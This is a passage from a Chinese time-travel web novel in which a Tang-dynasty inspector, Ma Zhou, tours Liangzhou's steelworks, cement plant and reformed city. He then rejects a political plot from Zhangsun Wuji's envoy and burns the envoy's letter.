“大人,好消息!我们按照您的指导,调整了碳的含量,已经炼出了硬度远超百炼钢的实验钢!”
说着,他拿出一块黑乎乎的金属块,“您看,这块钢的硬度,比咱们平时用的钢,硬了至少三成!”
马周瞪大了眼睛。
百炼钢,那可是大唐最好的钢铁了。
能比百炼钢还要好三成?
这是什么概念?
“不错。”林浩接过那块钢,仔细看了看,“不过还有改进空间。”
说着,他走到旁边的一块小黑板前,拿起石灰笔就开始写写画画。
“你们看,钢的硬度主要取决于碳含量。碳多了,钢硬但脆;碳少了,钢软但韧。”
他一边画图,一边解释:
“我们要做的,就是在特定温度下,控制脱碳和渗碳的过程,让碳原子均匀分布在铁原子之间。”
碳原子?铁原子?
马周完全听不懂。
但他看到,那些工匠听得如痴如醉,不时点头称是。
“原来如此!”
“大人,您这解释太透彻了!我们以前只知道怎么炼,从来不知道为什么要这样炼!”
“有了这个理论指导,我们就能炼出更好的钢了!”
马周震惊了。
他本以为林浩只是一个会下命令的官僚,没想到这家伙竟然能亲手指导技术!
而且,他的理论体系,完全超出了传统工匠的认知范围。
这不是一个普通的刺史,这是一个技术宗师!
“老匠,我问你一个问题。”
马周忍不住走到那个老匠人面前,“你为何如此投入这些研究?”
老匠人一愣,随即激动得浑身发抖:
“大人有所不知!我们这些匠户,祖祖辈辈都被人瞧不起,说我们是''奇技淫巧'',上不得台面。”
“可林大人却告诉我们,我们手中的活计里,藏着''格物致知''的大学问!”
“我们不是工具,我们是探索世界道理的先驱!”
“以前我只知道打铁,现在我知道了铁为什么会变成钢!”
“以前我只会按照师父教的方法做,现在我知道了为什么要这样做!”
老匠人眼中闪着泪花:
“林大人给了我们知识,给了我们尊严!我们这辈子,就算死也要报答大人的恩情!”
马周如遭雷击。
他明白了。
林浩不仅给了这些人财富,更给了他们前所未有的知识和尊严。
他建立的不是一个简单的技术机构,而是一个信仰“科学”的独立王国。
在这个王国里,知识就是力量,技术就是真理。
传统的等级秩序被彻底打破,取而代之的是一套全新的价值体系。
“怎么样,老板?”林浩走过来,拍了拍马周的肩膀,“现在相信我这里有投资价值了吧?”
“只要你投资进来,我保证让你的钱翻十倍,不,一百倍!”
马周嘴角抽搐。
投资?
他现在满脑子想的,都是手中那根先斩后奏的节杖。
斩掉这样一个人,真的是为国除害吗?
还是说,他即将犯下大唐建国以来最大的错误?
第7章:一捧烂泥惊天变,马周的惊天豪赌
看着马周已经被科学院里的各种奇技淫巧震得一愣一愣的,林浩心中暗爽。
这位“金主大佬”明显已经被忽悠得有点上头了。
趁热打铁!
“老板,你觉得刚才看到的怎么样?”林浩笑眯眯地问道。
马周张了张嘴,半天才挤出几个字:“确实......确实让人大开眼界。”
“那算什么。”林浏摆摆手,“我刚才给你看的,都是小打小闹。真正的核心技术,我还没拿出来呢。”
核心技术?
马周精神一震。
经过刚才的震撼,他已经完全相信这个看起来年纪轻轻的刺史,绝对掌握着某种改变世界的神秘力量。
“什么核心技术?”
“跟我来!”
林浩神秘一笑,带着马周走出科学院。
“我带你去看看,我是怎么把最普通的石头,变成比钢铁还要神奇的东西的。”
两人出了城,来到城郊的一片开阔地。
远远地,马周就看到了一座规模庞大的工坊。
巨大的石磨在缓慢转动,发出沉闷的“轰隆隆”声响。
几座高大的圆锥形建筑直插云霄,顶部还冒着袅袅热气。
最震撼的是那些堆积如山的原料。
白色的石灰石、黄褐色的粘土、还有各种颜色的矿石粉末,分门别类地码成了一座座小山。
“这就是我的水泥厂。”林浩指着这片工业景观,满脸自豪,“整个大唐,独此一家。”
水泥?
马周记起来了,就是修那条神奇大道用的材料。
“林大人,这水泥到底是什么东西?为何能如此坚硬?”
“老板你问得好!”
林浩搓了搓手,进入了“教授模式”。
他随手捡起一块石灰石,又抓了一把粘土。
“你看,万物皆由更微小的东西构成,我们称之为''元素''。”
元素?
马周眉头紧皱。
这又是一个他从未听过的词汇。
“就像这块石头,看起来是一整块,实际上是由无数个小到肉眼看不见的微粒组成的。”
林浩一边说,一边将石灰石捏碎,“这些微粒,我们叫它''分子''。不同的分子,有不同的性质。”
分子?
马周感觉自己的大脑在疯狂转动。
这些概念完全超出了他的认知范围,但听起来又充满了某种说不清道不明的道理。
“水泥的秘密,就在于高温之下,这些石料里的''元素''会重新结合,形成全新的物质。”
林浩的眼神闪烁着狂热的光芒,“这个过程,我们叫它''化学反应''。”
化学反应!
马周只觉得头皮发麻。
他虽然无法完全理解这些词汇的含义,但却能感受到一种前所未有的震撼。
这是一种全新的知识体系!
一种能够解释世界运行规律,甚至改造世界的学问!
“来来来,我给你现场演示一下。”
林浩招手叫来几个工人,“把配比好的生料送进窑里,按照标准流程煅烧。”
“是,大人!”
工人们熟练地将各种原料按照精确的比例混合,然后送入那座高耸的圆锥形建筑中。
“这叫回转窑,温度能达到一千四百多度。”林浩解释道,“在这种高温下,石灰石会分解,释放出某种气体,剩下的物质会和粘土中的成分结合,形成全新的化合物。”
一千四百度?
马周倒吸一口凉气。
这是什么概念?
就连铁匠铺里的炉火,也不过七八百度而已。
这家伙竟然能造出温度如此恐怖的炉子!
“在等待的过程中,我给你看看这东西的真正价值。”
林浩从怀里掏出纸笔,在一块平整的石板上开始画图。
他画得很快,但线条精准,比例协调。
不一会儿,一座宏伟的大坝就出现在了石板上。
“你看,有了水泥,我们就能建造这样的水坝。”
林浩指着图纸,“它能拦截江河,蓄水灌溉,还能发电。”
发电?
这又是什么?
马周已经不想问了。
他发现自己每问一个问题,这个年轻人就会抛出更多让他无法理解的概念。
“还有这个。”
林浩又画了一座桥梁,跨度惊人,造型优美。
“水泥桥,能跨越最宽的河流,承载最重的车马。以前需要绕行几十里的路程,现在一座桥就能解决。”
马周看着图纸上那座桥,心头狂跳。
他能想象得出,如果真的建成这样的桥梁,对交通运输会带来多大的改变。
“还有这个,这个,还有这个!”
林浩越画越兴奋,一张张图纸飞快地画出来。
水渠、城墙、码头、仓库......
每一个都设计精巧,结构合理。
马周看着这些图纸,眼中渐渐浮现出一种近乎狂热的光芒。
他仿佛看到了一个全新的世界。
一个水利遍布、道路通达、城池坚固、无惧天灾的强大帝国!
“老板,激动吧?”林浩放下笔,看着马周激动得微微颤抖的双手,满意地笑了。
“只要有了水泥,大唐的基建能力将发生质的飞跃。到时候,什么洪水、干旱、外敌入侵,统统不是问题!”
马周用力地点头。
他已经被彻底征服了。
这不是什么奇技淫巧,这是能够改变整个帝国命运的神技!
“可惜啊......”
就在马周沉浸在美好愿景中时,林浩突然叹了口气。
“怎么了?”马周急忙问道。
“这些工程,都需要大量的计算。力学计算、结构计算、材料计算......太费脑子了。”
林浩挠了挠头,露出一脸苦恼的表情。
“我这人吧,天生就不喜欢动脑子。最大的梦想就是躺着把事情办了。”
马周:???
“所以我现在正在研究一种叫差分机的东西,让机器帮我算数。”
林浩的眼神又开始发光,“到时候,我只要把数据输入进去,机器就能自动算出结果。我就能安心地躺着了。”
差分机?
机器算数?
马周感觉自己的世界观又被刷新了。
这家伙的“懒”,竟然能推动他去发明更高级的东西!
这还是人吗?
“咕噜噜......”
就在这时,回转窑里传来了沉闷的响声。
“好了,差不多了。”林浩走到窑口,“该出料了。”
工人们小心翼翼地将滚烫的熟料取出来。
那些原本各自为政的石灰石、粘土、矿物粉末,经过高温煅烧后,已经变成了一种全新的物质。
颜色变深,质地更加致密。
“现在还不能用,要先冷却,然后磨成粉末。”
林浩指挥着工人们将熟料运到巨大的石磨旁。
“轰隆隆......”
石磨转动,将冷却后的熟料磨成了细腻的粉末。
“来,老板,见证奇迹的时刻到了。”
林浩舀了一瓢水泥粉末,又抓了几把沙子和石子,倒在一个木槽里。
然后,他倒入清水,开始搅拌。
“这个过程叫水化反应。”
林浩一边搅拌一边解释,“水泥粉末遇到水,会发生复杂的化学变化,最终凝固成比石头还硬的物质。”
马周死死地盯着木槽里的那滩灰色泥浆。
起初,它看起来和普通的泥巴没什么区别。
但是很快,他就发现了异常。
泥浆开始变稠,流动性越来越差。
半个时辰后,它已经不再流动。
一个时辰后,表面开始发硬。
马周小心翼翼地用手指戳了戳。
硬的!
而且还有温度!
“这......这是为什么?”马周震惊地问道。
“化学反应会释放热量。”林浩笑道,“这证明反应正在进行。”
又过了半个时辰,那滩泥浆已经完全凝固,变成了一块坚硬的石头。
马周用手触摸着这块温热而坚硬的人造石,手掌微微颤抖。
他知道,他触摸到的,不仅仅是一块石头。
而是一个新时代的基石!
“怎么样,老板?”林浩拍了拍马周的肩膀,“现在明白这东西的价值了吧?”
“现在投资,你就是原始股东。我给你1%的股份,未来整个大唐的路,都有你的分红!”
第8章:这哪是鬼城,说是治世样板也不为过
水泥厂离开后,马周的脑袋还是晕乎乎的。
“老板,怎么样?激动吧?”
林浩拍了拍马周的肩膀,“不过现在时间还早,要不我再带你转转?”
马周摆摆手:“不用了,林大人。我想......我想自己走走看看。”
他需要独自验证一下。
眼前这个林浩,实在是颠覆了他的所有认知。
他必须用自己的眼睛,去看看这座城市的真实面貌。
“行啊!”林浩爽快地答应了,从怀里掏出一张纸,“那我给你个好东西。”
马周接过一看,这张纸上画着密密麻麻的线条和标记,还有各种小图案。
“这是我亲手绘制的凉州美食地图!”
林浩得意地解释,“城东的胡饼最香,城西的羊肉泡馍最正宗,城南有家酒肆的葡萄酒堪比西域贡品。你按图索骥,保证吃得爽!”
美食地图?
马周拿着这张“地图”,心情复杂得不知道该说什么。
这家伙的脑子里到底装了多少奇怪的东西?
“那我就先走了,老板慢慢逛!”
林浩摆摆手,转身就要离开。
走了两步,又回过头来:“对了,如果有人问你是谁,你就说是我朋友,来考察投资的。大家都会热情招待你的!”
说完,这家伙就真的走了,留下马周一个人站在原地。
马周深深吸了一口气。
现在,该看看这座传说中民怨冲天的城市,到底是什么样子了。
进入城区,第一个映入眼帘的景象,就让马周愣住了。
街道规划得整整齐齐,每家每户门口都摆着一个统一样式的木桶。
木桶上还写着字:“生活垃圾专用”。
马周好奇地凑过去看,发现木桶里装的都是一些菜叶子、果皮什么的。
更奇怪的是,街道上竟然有专门的人在打扫卫生。
几个身着统一服装的清洁工,手持扫帚和铁锹,正在清理路面的垃圾和马粪。
他们动作熟练,配合默契,很快就把一段街道打扫得干干净净。
这场景,连长安城都没有!
长安虽然繁华,但街道卫生全靠各家各户自觉,哪有专门的清洁工?
马周越走越惊讶。
他发现这座城市的每一个细节,都透着一种前所未见的“规范化”。
坊市布局合理,商铺招牌统一规格,就连卖菜的小贩都有固定摊位。
走着走着,他看到了一排样式统一的建筑,门口挂着“公共厕所”的牌子。
公共厕所?
马周眨眨眼,走进去看看。
推开门,里面的景象差点让他怀疑自己走错了地方。
干净!
太干净了!
不仅没有异味,地面还铺着平整的石板,墙壁刷得雪白。
最神奇的是,这里竟然还有专人维护!
一个中年大叔正在用石灰粉消毒,动作认真仔细。
“客官,您慢用!”大叔看到马周,热情地打招呼,“石灰消毒,保证卫生!”
马周哑口无言。
上个厕所都有人服务,这还是边陲小城吗?
走出“公共厕所”,马周的三观已经开始摇摇欲坠。
继续往前走,远远地听到朗朗读书声。
循声而去,发现是一个挂着“扫盲班”牌子的大院。
扫盲班?
马周好奇地走进去。
院子里搭着几个简易棚子,每个棚子里都坐着密密麻麻的人。
有孩童,有成年男女,甚至还有白发苍苍的老者。
他们手里都拿着同样的课本,跟着先生一起朗读。
“人之初,性本善............”
这是《三字经》,马周听得出来。
但很快,他就发现不对劲了。
先生拿起了另一本书:“下面我们学习《基础算术与度量衡》第一课............”
《基础算术与度量衡》?
马周凑近一看,发现这本书的封面上,赫然印着“凉州刺史林浩编著”几个字!
“一尺等于十寸,一丈等于十尺............”
“加法的原理是什么?就是把两个数字合并起来............”
先生讲得通俗易懂,学生们听得聚精会神。
一个须发皆白的老者举手发问:“先生,为什么要学算术?”
先生笑了:“老丈,您想想,您卖菜的时候,是不是经常被人算错账?学会了算术,谁还能坑您?”
老者恍然大悟:“对啊!我一天到晚被那些奸商糊弄,就是因为不会算账!”
马周站在门口,心情无比复杂。
知识,在这里不再是士族的专利。
无论老幼,无论贫富,只要愿意学,就有机会获得。
这种景象,在整个大唐都是前所未见的!
离开扫盲班,马周来到一个十字路口。
路口中央立着一块巨大的告示板,上面张贴着密密麻麻的文字。
走近一看,标题是《凉州基础法》。
马周仔细阅读,发现这部“基础法”涵盖了商业、民事、卫生、治安等各个方面。
条文通俗易懂,赏罚分明。
比如:“商户不得缺斤短两,违者罚银十两,再犯加倍。”
“随地吐痰者,罚扫街一日。”
“夜间喧哗扰民者,罚银一两。”
条条框框,把社会生活的方方面面都规范得明明白白。
但最让马周震惊的,是这部法律的第一条:
“刺史林浩之一切命令,若与本法相悖,民众有权向监察委员会申诉。”
马周瞪大了眼睛,反复读了三遍。
林浩竟然主动将自己的权力关进了笼子里!
这与所有封建官僚的逻辑完全背道而驰!
哪个当官的不想要绝对权威?
可这家伙倒好,自己给自己上枷锁!
就在马周震惊之际,一队巡逻的民兵经过路口。
这些民兵装备精良,身着统一的皮甲,腰佩制式长刀。
但让马周意外的是,他们对百姓的态度竟然异常和善。
路过一个推车的老人时,几个民兵主动上前帮忙推车。
“大爷,车重吗?我们帮您推一段。”
“不重不重,你们巡逻要紧!”
“没事,举手之劳。”
民兵们说笑着帮老人把车推过了斜坡,然后继续巡逻。
老人感激得直点头:“谢谢,谢谢!”
马周看得目瞪口呆。
这支武装力量,不是城市的压迫者,而是守护者!
他们维护的不是官府的威严,而是百姓的安宁!
整个下午,马周像个游魂一样在城里转悠。
他看到的每一个细节,都在无声地诉说着这座城市的活力、秩序和希望。
干净整洁的街道,热情友善的民众,井然有序的商业,还有那种发自内心的满足感。
这哪里是公主奏折里那个民不聊生、几近崩溃的“破败鬼城”?
这分明,就是一座只存在于圣人书卷中的治世样板!
夕阳西下,马周拖着灌了铅的双腿回到客栈,脑海里反复回荡着今天的所见所闻。
林浩不是在治理凉州。
他是在进行一场前所未闻的社会实验!一场以“效率”、“法制”和“人本”为核心的恐怖实验!
而这一切的动机,竟是他那个看似荒谬绝伦的终极理想——偷懒!
可偏偏是这种“偷懒”,才催生出最完善的制度,最先进的技术,以及……最美好的生活。
第9章:一碗羊肉泡馍,却是民心所向
夜幕降临,凉州城却没有陷入黑暗。
马周走在石板路上,目瞪口呆地看着街道两旁亮起的一盏盏灯火。
不是普通的油灯,而是一种他从未见过的明亮光源,将整条街照得如同白昼。
“这是什么灯?怎么这么亮?”他忍不住问路过的一个小贩。
“客官您是外地来的吧?”小贩笑道,“这是我们林大人发明的煤气灯!用煤炭烧出来的气体点燃,比油灯亮十倍不止!”
煤气灯?
马周又听到了一个闻所未闻的词汇。
这个林浩,到底还有多少稀奇古怪的发明?
顺着灯火通明的街道往前走,马周被眼前的景象震撼了。
整条街热闹非凡,商贩叫卖声此起彼伏,各种香味扑鼻而来。
卖胡饼的、卖烤羊肉的、卖葡萄酒的,一个挨着一个,生意都好得很。
最让马周意外的是,这些夜市摊贩竟然都有统一的小推车,车上还插着小旗子,写着“夜市经营许可证”。
连夜市都管理得这么规范?
他随便选了一家看起来人最多的食肆走了进去。
“客官,里边请!”老板热情地招呼着,“今晚有新鲜的羊肉泡馍,保证您吃了还想吃!”
马周找了个角落的位置坐下,要了一碗羊肉泡馍。
邻桌坐着几个刚下工的汉子,从穿着打扮看,应该是工厂的工人和城防民兵。
他们正大声地聊着天,语气轻松愉快。
“老王,今天你们组的产量怎么样?”一个民兵模样的汉子问道。
“别提了!”被叫老王的工人摆摆手,“差一点就破纪录了!就差那么几块肥皂,可把我气死了!”
“哈哈,明天加把劲,争取拿第一!”
“那可不!拿了第一,林大人发的奖金能顶我半个月工钱!”
马周侧耳倾听,发现他们的话题全都围绕着工作、奖金、还有各种新奇的东西。
“听说科学院那帮疯子又搞出新玩意了?”
“对!叫什么望远镜,能看得老远老远的!”
“有啥用?”
“你懂个屁!”一个壮汉不满地说,“上次高炉炼钢成功,林大人直接发了三个月薪水的奖金!那望远镜要是搞成了,能看清天上的星星,说不定还能提前发现敌人!这是给咱们保命的!”
马周心头一震。
这些普通百姓,竟然能理解那些高深技术的价值?
“不过话说回来,”老王突然压低了声音,“林大人什么都好,就是太抠了!科学院那帮家伙又申请新经费,咱们的奖金估计又得缓发。”
“你这话说得!”旁边一个年轻工人马上反驳,“林大人抠是抠,但花的每一文钱都花在刀刃上!你看看咱们现在的日子,比以前强了多少倍?”
“那倒是。”老王点点头,“我儿子现在在学堂念书,不花一文钱!我媳妇在肥皂厂上工,一个月能挣二两银子!这在以前,想都不敢想!”
“就是就是!”民兵插话道,“我们现在的装备,比州府的正规军都好!那些钢刀,削铁如泥!”
马周静静地听着,心情越来越复杂。
这些人对林浩的拥护,不是畏惧,而是发自内心的感激和信赖。
“对了,听说新农具试验成功了?”有人问道。
“嗯!我表哥在农具厂,说是林大人设计的新犁,一头牛能顶以前两头牛的活!”
“真的假的?”
“当然是真的!今年的冬小麦种下去,明年一亩地能多收一石粮食!”
“我的天!多收一石?那咱们凉州,岂不是要变成粮仓了?”
“何止粮仓!”老王激动地拍桌子,“林大人说了,要把咱们凉州建成整个大唐最富的地方!让长安城的那些贵人都羡慕死!”
众人哄堂大笑,气氛热烈得很。
就在这时,一个民兵突然想起什么,神色变得有些凝重。
“对了,你们听说了吗?朝廷来钦差了。”
马周的心脏猛地跳了一下。
“钦差?来干嘛的?”
“不知道啊,听说是个很大的官。”
“不会是来查咱们林大人的吧?”老王担心地问。
“别瞎想!”年轻工人摆手,“咱们林大人能有什么问题?把凉州治理得这么好,朝廷应该嘉奖才对!”
“我倒是担心另一件事。”民兵皱着眉头说,“万一朝廷发现林大人的厉害,把他调到别的地方怎么办?”
这话一出,整桌人都沉默了。
“不会吧?”有人小声说,“林大人走了,咱们怎么办?”
“是啊,好不容易过上好日子,要是林大人被调走了......”
“闭嘴!”老王狠狠瞪了一眼,“别说这种丧气话!林大人是咱们凉州的福星,他不会走的!”
“就是!林大人说过,要在凉州干一番大事业!”
“对!谁敢动我们林大人,咱们就跟他拼了!”
马周听着这些朴实的话语,心中五味杂陈。
这些百姓对林浩的担心,竟然不是怕他出事,而是怕他被调走!
他们把林浩当成了什么?
救星?福星?还是......神明?
“客官,您的羊肉泡馍来了!”
老板笑眯眯地端上一大碗冒着热气的泡馍,碗里的羊肉块大得惊人,汤汁浓郁得让人直咽口水。
“托林大人的福,咱们这羊肉,现在管够!”老板自豪地说,“以前一年都吃不上几次肉,现在想吃就吃!”
马周低头看着碗里的泡馍,突然觉得这碗普通的食物变得沉甸甸的。
他拿起勺子,舀了一口放进嘴里。
热!烫!鲜!
滚烫的汤汁在嘴里爆开,浓郁的羊肉香味直冲鼻腔,配上嚼劲十足的馍块,这味道......
马周闭上眼睛,这辈子从未吃过如此充满生活气息的一餐。
这不只是一碗泡馍,这是一座城市的味道,是千万百姓的血汗和希望!
民心如水,载舟覆舟。
他摸了摸怀里那道空白圣旨,手指微微颤抖。
这份圣旨,在此刻变得无比沉重,让他不敢轻易下笔。
然而,在他注意不到的角落里,有一双眼睛正将他的一举一动都记录了下来。
第10章:深夜来客,赵国公的屠刀
深夜时分,钦差营地一片寂静。
马周独自坐在临时搭建的帐篷里,面前一盏昏黄油灯摇曳不定。
他双手捧着那碗温热的羊肉泡馍,却再也吃不下一口。
脑海里不断回放着今天的所见所闻。
那些充满希望的脸庞。
那些为了美好生活而拼搏的身影。
还有林浩那种看似荒诞实则天才的“偷懒哲学”。
这一切,都让他对即将要做的事情产生了巨大的怀疑。
“大人!”
帐篷外忽然传来亲卫急促的声音。
马周猛地抬头,眉头紧皱。
“何事?”
“营外有一人,自称奉赵国公之命前来拜见。”
赵国公?
马周的心脏瞬间狂跳起来。
赵国公长孙无忌!
当朝第一权臣,太宗皇帝的亲小舅子,权势滔天的关陇集团首领。
他怎么会派人来这个鸟不拉屎的边城?
难道说,朝中的权力斗争,已经延伸到了这个偏远的凉州城?
马周深吸了一口气。
“让他进来。”
很快,一个身着夜行衣的男子无声无息地走进了帐篷。
这人约莫三十余岁,身材匀称,步履如猫,双眼精光闪烁。
一看就知道是长孙无忌府中培养的顶尖密探。
“小人程刚,见过马大人。”
男子抱拳行礼,声音低沉有力。
马周没有客套,直接开口。
“你奉赵国公何命而来?”
程刚环视了一圈帐篷,然后压低了声音。
“国公爷让小人提醒大人,圣上仍在气头上。”
“长乐公主的奏折字字泣血,大人在凉州拖延的时日,已经太久了。”
马周的脸色瞬间阴沉下来。
太久了?
他来凉州才不过三天!
可这句话里蕴含的威胁意味,却让他感到一股寒意从脊梁骨直冲脑门。
“国公爷的意思是?”
程刚嘴角浮现出一个意味深长的笑容。
“大人,恕小人直言。”
“这个林浩,能在凉州搞出如此大的动静,背后绝不简单。”
马周心中一震。
“你有何凭据?”
“据国公爷的调查……”
程刚故意停顿了一下,观察着马周的表情。
“此人极有可能与某些朝中势力有牵连。”
“甚至可能是废太子李承乾的旧部!”
废太子李承乾!
马周瞳孔猛然收缩。
这个名字,就像一把利刃直插他的心脏。
废太子李承乾谋反案,是太宗皇帝心中永远的痛。
任何与此案有关的人,都是死路一条!
如果林浩真的与李承乾有关系……
马周强压住心中的震惊。
“你可有确凿证据?”
程刚摇摇头,但眼中闪过一丝狡猾。
“证据嘛,暂时还没有确凿的。”
“但是大人想想,一个被发配的刺史,没有背景,没有资源,凭什么能搞出这么大的阵仗?”
“他那些所谓的发明,那些前所未闻的技术,真的是他一个人想出来的吗?”
这番话,说得马周心中犯起了嘀咕。
确实,林浩的表现太过惊人了。
那些超越时代的技术,那些颠覆性的理念,真的是一个普通人能想出来的吗?
但是……
马周想起了林浩那双清澈的眼神。
想起了他那种天真得近乎愚蠢的“偷懒”哲学。
这样的人,真的会是什么阴谋家吗?
“国公爷派你来,就是为了告诉我这些?”
程刚的笑容变得更加深邃。
“当然不是。”
“国公爷知道大人的为难,特地让小人带来一个两全其美的解决方案。”
马周眯起了眼睛。
“什么方案?”
“林浩之才,确实难得。”
程刚缓缓说道。
“杀之可惜,留之又有隐患。”
“国公爷的意思是,可留其命,废其职,将其押送回京,交由陛下发落。”
“如此一来,大人既完成了圣命,又免于错杀之咎。”
“而那些技术和人才,也能为国所用,岂不是皆大欢喜?”
马周听完,心中顿时升起一股怒火。
什么两全其美?
这分明是要将林浩的“凉州模式”彻底扼杀在摇篮里!
而那些技术和人才,最终会落到谁的手中?
还用问吗?
当然是以长孙无忌为首的关陇集团!
他们看中的,不是林浩这个人,而是他手中那些能够改变世界的技术!
“国公爷考虑得真是周到啊。”
马周冷笑一声。
程刚没有听出马周话中的讽刺,继续说道。
“大人明鉴。”
“国公爷说了,大人若是照此办理,他会在圣上面前为大人美言。”
“大人的前程,自然是一片光明。”
说着,他从怀中取出一封信。
“这是国公爷的亲笔信,里面详细分析了利弊得失。”
“请大人过目。”
马周看着那封信,却没有伸手去接。
“国公爷真是用心良苦。”
“不过我有个疑问。”
程刚眉头微皱:“大人请讲。”
“如果我不按照国公爷的意思办,会如何?”
帐篷内的气氛,顿时变得凝重无比。
“大人说笑了。国公爷只是好心提醒,怎么会有什么威胁呢?”
程刚的声音变得更加低沉。“只是嘛……”
“圣上的脾气,大人是知道的。”
“万一大人处理不当,惹得圣上震怒,到时候恐怕就不是小人能够帮得上忙的了。”
“而且,据小人所知,朝中已经有人开始议论大人此次出使的效率问题了。”
“有些人甚至在背后说,马大人是不是年纪大了,办事不如从前利索了。”
“另外,小人刚才路过城里,发现那些百姓对林浩确实很拥护。”
“不过大人想过没有,如果这种拥护是建立在某种不可告人的基础之上呢?”
“万一林浩真的有什么不轨之心,这些百姓岂不是都成了他的帮凶?”
“到时候,恐怕就不是杀一个林浩那么简单了。”
“大人,小人该说的都说了。”
“如何抉择,全在大人一念之间。”
马周如遭雷击。
如果林浩真的被定性为叛逆,那么凉州城内所有支持他的百姓,都将面临灭顶之灾!
而且,听这程刚的意思,长孙无忌早就派人在监视林浩了!
甚至可能比圣旨下达得还要早!
那么问题来了。
长孙无忌为什么要监视一个被发配的边城刺史?
除非……
除非他早就知道林浩会搞出大动静!
马周的后背开始冒冷汗。
如果这个推测是真的,那么整件事的性质就完全不同了。
这不是什么简单的弹劾案。
这是一场精心策划的政治阴谋!
而他马周,很可能只是这场阴谋中的一枚棋子!
第11章:焚信拒谋,监察御史的铮铮铁骨
马周面对密探的威逼利诱,沉默了片刻。
帐篷内的烛火摇摇欲坠,映照着两人的脸庞。
程刚以为马周被说动了,正准备再加把火。
却见马周缓缓站起身,走到那张简陋的地图前。
地图是林浩的人画的,标注详细得不像边城出品。
每个村庄、每条道路、每座山峦,都清清楚楚。
马周的手指在地图上的凉州位置停下。
“你可知,此地四年前,有多少人死于饥荒和流寇?”
程刚愣住了。
这个问题,完全出乎他的意料。
他是来说服马周的,不是来聊民生的。
“大人这是......”
“三百四十七人。”
马周的声音在帐篷里回荡,“男子一百二十三人,妇孺二百二十四人。其中饿死者占七成,死于流寇者占三成。”
程刚皱起眉头:“大人,您说这些是何意?”
“而如今。”马周转过身,目光直视程刚,“已经连续三年,是零。”
零。
这个字砸在程刚心头,让他莫名感到了几分不安。
马周继续道:“你可知,此地如今能日产精铁百斤,肥皂千块,月修驰道十里?”
“这些东西,是任何一个所谓的‘幕后黑手’能凭空给的吗?”
“你觉得李承乾那个废太子,在东宫的时候,造过一块肥皂吗?修过一里路吗?救过一个人吗?”
程刚张了张嘴,却说不出话来。
这个角度,他从未想过。
在他的认知里,政治就是权力,就是阴谋,就是你死我活。
可马周说的这些数字,这些活生生的人命,让他的那套理论突然显得苍白无力。
“大人,国公爷的意思是......”
“我管他什么意思!”马周猛地一拍桌子,把程刚吓了一跳。
“我马周奉的是君命,更是国法!”
“我看到的是一个能让大唐强盛百年的方略,而不是某些人党同伐异的棋子!”
一字一顿,如雷贯耳。
程刚彻底傻眼了。
他见过太多官员,贪婪的,胆小的,野心勃勃的,阿谀奉承的,各式各样的都有。
但是像马周这样,敢于直接硬刚长孙无忌的,他还是头一次遇见。
这人是疯了吗?
还是他不知道长孙无忌在朝中的地位?
“大人,您......您可要想清楚啊!”程刚急了,“得罪了国公爷,您在朝中......”
“闭嘴!”
马周厉声呵斥,声音大得帐篷都在震颤,“赵国公派你来,是监察我,还是干预国法?”
“回去告诉他,我马周办案,只唯实,不唯上!”
“林浩有功是功,有过是过,一切待我查明,自会向陛下一五一十奏明!”
程刚被这一身浩然正气震得后退了半步。
他从未见过这样的官员。
不,准确地说,他从未见过这样的人。
在长安城的官场里,每个人都在算计,每个人都在站队,每个人都在为了利益蝇营狗苟。
像马周这样的人,简直就是异类。
一个不怕死的异类。
“大人......”程刚想再说什么,却被马周打断了。
马周大步走到程刚面前,伸出手。
“信给我。”
程刚下意识地把那封长孙无忌的亲笔信递了过去。
然后,他就看到了这辈子最震撼的一幕。
马周接过信,看也不看,直接将其投入了眼前的烛火中。
“嘶啦——”
信纸在火焰中迅速卷曲,字迹模糊,最终化为灰烬。
程刚彻底呆住了。
那可是赵国公的亲笔信!
里面详细分析了朝中局势,各方利益,可以说是绝密中的绝密。
这家伙竟然连看都不看,就直接烧了?
疯了!
彻底疯了!
“道不同,不相为谋。”马周平静地看着火光,“这里没有你要的答案,请回吧。”
程刚深深地看了马周一眼。
这个人,要么是傻子,要么是圣人。
但不管是哪种,都不是他能说服的。
“大人,您这样做......后果您想过吗?”程刚做最后的努力。
“后果?”马周转过身,眼神清澈得像孩子,“我想过了。”
“最坏的结果,无非是丢官罢职,流放边疆,甚至杀头。”
“但是如果我今天屈服了,昧着良心办了这件事,那我这辈子都不会原谅自己。”
程刚彻底无语了。
这就是传说中的“迂腐文人”吗?
为了什么狗屁理想,连命都不要了?
可是不知道为什么,看着马周那双清澈的眼神,程刚忽然觉得,也许这个世界需要这样的“傻子”。
“既然大人心意已决,小人也不多说了。”程刚默默行了一礼,“告辞。”
说完,他转身走向帐篷口。
刚迈出一步,就听到马周在身后说道:
“等等。”
程刚回头,以为马周改变主意了。
却听马周说:“替我给长孙国公带句话。”
“什么话?”
“马某不才,但还是要劝国公一句。”
马周的声音很轻,但每个字都清晰入耳,“民心如水,载舟覆舟。别为了一己私利,毁了大唐的根基。”
程刚浑身一震。
这话的分量,他岂能不懂?
这不是在威胁,而是在警告。
警告长孙无忌,不要玩过火了。
“小人......一定转达。”
程刚深深地看了马周最后一眼,转身消失在夜色中。
帐篷里重新归于安静。
马周独自坐在那里,看着烛火上最后飘散的烟气。
刚才那封信的灰烬,还在桌案上静静躺着。
他知道,自己这么做,已经彻底得罪了长孙无忌。
从此以后,他在朝中再无退路。
但是他的心,却一片澄明。
他想起了今天看到的那些场景。
整洁的街道,有序的商铺,欢声笑语的百姓,还有那些充满希望的脸庞。
这样的治世盛景,他这辈子只在书本上见过。
而现在,它就真真切切地出现在眼前。
如果为了政治斗争,就要毁掉这一切,那他宁可不做这个官。
“林浩啊林浩......”马周自言自语,“你这家伙,到底是天才还是疯子?”
“竟然能让我马周做出这种出格的事来。”
第12章:马周的万言书
凉州城的晨雾尚未散尽,马周的房门便被叩响了。
他一夜未眠,脑中反复回响的,都是林浩那些石破天惊的言论。
“咚、咚、咚——”
“马老板,醒了吗?我来汇报项目进度了!”
林浩那懒洋洋的声音从门外传来,听不出丝毫敬畏。
“进。”
门被推开,林浩打着哈欠走进来,怀里抱着一卷巨大的图纸,脸上还是那副标志性的“没睡醒”表情。
“马老板,你这金主当得可不称职。”
林浩一屁股坐下,自顾自地给自己倒了杯冷茶,“背调做这么久,也不知道催催进度,我这心都快凉了。”
马周勉强笑了笑:“林大人,昨日确实有急事。”
“行了,别解释了。”
林浩摆摆手,将那卷图纸“啪”地一声拍在桌上,瞬间铺满了整个桌面。“给你看个宝贝,保证让你这投资人血脉偾张!”
图纸展开的瞬间,马周的呼吸停滞了一瞬。
